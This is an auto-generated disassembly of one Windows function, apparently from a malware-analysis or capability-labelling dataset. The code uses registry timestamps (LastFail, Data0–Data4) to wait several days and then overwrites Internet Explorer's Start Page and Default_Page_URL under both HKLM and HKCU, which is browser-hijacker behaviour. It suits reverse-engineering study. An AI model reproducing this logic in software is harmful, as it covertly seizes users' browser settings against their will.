Function at 0x402788
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x4030f8
call fcn.00402ec0
sub esp, 0x368
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 4
pop esi
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [ebp - 0x1c], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [ebp - 0x14], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov dword [ebp - 0x18], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push 9
mov esi, str.SoftwareMicrosoftInternet_Explorer_
pop ecx
lea edi, [ebp - 0x274]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x36
mov dword [ebp - 0x24], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x24e]
push 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x74]
lea eax, [ebp - 0x274]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
push str.desktop01
push eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 5
movsw word es:[edi], word [esi]
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x20]
push eax
call sub.MSVCRT.dll_time
mov eax, dword [ebp - 0x20]
mov ecx, 0x15180
cdq
idiv ecx
lea ecx, [ebp - 0x3c]
push 0xa
push ecx
push eax
mov dword [ebp - 0x20], eax
call sub.MSVCRT.dll__ltoa
mov edi, dword [ebp - 0x24]
add esp, 0x30
lea eax, [ebp - 0x274]
push ebx
push edi
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402d98
lea eax, [ebp - 0x30]
mov esi, str.LastFail
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4028df
lea eax, [ebp - 0x48]
push 0xa
push eax
mov dword [ebp - 4], ebx
push dword [0x405020]
call sub.MSVCRT.dll__ltoa
add esp, 0xc
lea eax, [ebp - 0x48]
push 5
push eax
push 3
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [edi]
call esi
test eax, eax
je 0x4028d9
jmp 0x402d89
or dword [ebp - 4], 0xffffffff
jmp 0x4028f4
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_atol
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop ecx
mov dword [0x405020], eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edi, dword [ebp - 0x1c]
pop ecx
push ebx
push edi
push ebx
push 0xf003f
push ebx
push ebx
lea eax, [ebp - 0x274]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402d98
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Data0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402960
lea eax, [ebp - 0x3c]
push 5
push eax
push 3
push ebx
mov dword [ebp - 4], 2
push str.Data0
jmp 0x4029d2
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_atol
imul eax, eax, 0x15180
mov dword [ebp - 0x20], eax
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Data1
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402a20
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_time
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call sub.MSVCRT.dll_difftime
fmul qword [0x4041b8]
add esp, 0xc
fcomp qword [0x4041b0]
fnstsw ax
sahf
jb 0x4029fd
lea eax, [ebp - 0x3c]
push 5
push eax
push 3
push ebx
mov dword [ebp - 4], 4
push str.Data1
push dword [edi]
call esi
test eax, eax
je 0x4029f9
jmp 0x402d89
or dword [ebp - 4], 0xffffffff
call fcn.0040262e
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_atol
imul eax, eax, 0x15180
mov dword [ebp - 0x20], eax
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Data2
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402b84
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_time
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call sub.MSVCRT.dll_difftime
fmul qword [0x4041b8]
add esp, 0xc
fcomp qword [0x4041b0]
fnstsw ax
sahf
jb 0x402a02
lea eax, [ebp - 0x3c]
push 5
push eax
push 3
push ebx
push str.Data2
push dword [edi]
mov dword [ebp - 4], 6
call esi
test eax, eax
jne 0x402d89
lea eax, [ebp - 0x174]
push 0x100
push eax
push 0x76
call fcn.0040245c
add esp, 0xc
lea eax, [ebp - 0x74]
push ebx
push dword [ebp - 0x14]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, 0x101
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Default_Page_URL
push dword [eax]
call esi
mov eax, dword [ebp - 0x14]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
lea eax, [ebp - 0x74]
push dword [ebp - 0x18]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x18]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
push edi
lea eax, [ebp - 0x174]
jmp 0x402cb0
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_atol
imul eax, eax, 0x15180
mov dword [ebp - 0x20], eax
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Data3
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402d0b
lea eax, [ebp - 0x24]
push eax
call sub.MSVCRT.dll_time
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call sub.MSVCRT.dll_difftime
fmul qword [0x4041b8]
add esp, 0xc
fcomp qword [0x4041b0]
fnstsw ax
sahf
jb 0x402a02
lea eax, [ebp - 0x3c]
push 5
push eax
push 3
push ebx
push str.Data3
push dword [edi]
mov dword [ebp - 4], 8
call esi
test eax, eax
jne 0x402d89
lea eax, [ebp - 0x174]
push 0x100
push eax
push 0x76
call fcn.0040245c
add esp, 0xc
lea eax, [ebp - 0x74]
push ebx
push dword [ebp - 0x14]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, 0x101
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Default_Page_URL
push dword [eax]
call esi
mov eax, dword [ebp - 0x14]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
lea eax, [ebp - 0x74]
push dword [ebp - 0x18]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x174]
push edi
push eax
mov eax, dword [ebp - 0x18]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
push edi
lea eax, [ebp - 0x174]
mov edi, dword [ebp - 0x18]
push eax
push 1
push ebx
push str.Default_Page_URL
push dword [edi]
call esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov edi, dword [ebp - 0x1c]
jmp 0x402a02
lea eax, [ebp - 0x2c]
push eax
call sub.MSVCRT.dll_atol
imul eax, eax, 0x15180
mov dword [ebp - 0x20], eax
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push ebx
push str.Data4
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402a02
lea eax, [ebp - 0x40]
push eax
call sub.MSVCRT.dll_time
push dword [ebp - 0x20]
push dword [ebp - 0x40]
call sub.MSVCRT.dll_difftime
fmul qword [0x4041b8]
add esp, 0xc
fcomp qword [0x4041b0]
fnstsw ax
sahf
jb 0x402a02
lea eax, [ebp - 0x3c]
push 5
push eax
push 3
push ebx
push str.Data4
push dword [edi]
mov dword [ebp - 4], 0xa
call esi
test eax, eax
je 0x402da2
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
call fcn.0040262e
jmp 0x402a11
lea eax, [ebp - 0x374]
push 0x100
push eax
push 0x76
call fcn.0040245c
add esp, 0xc
lea eax, [ebp - 0x74]
push ebx
push dword [ebp - 0x14]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, 0x101
lea eax, [ebp - 0x374]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
lea eax, [ebp - 0x374]
push edi
push eax
mov eax, dword [ebp - 0x14]
push 1
push ebx
push str.Default_Page_URL
push dword [eax]
call esi
mov eax, dword [ebp - 0x14]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
lea eax, [ebp - 0x74]
push dword [ebp - 0x18]
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x374]
push edi
push eax
mov eax, dword [ebp - 0x18]
push 1
push ebx
push str.Start_Page
push dword [eax]
call esi
push edi
lea eax, [ebp - 0x374]
jmp 0x402cb0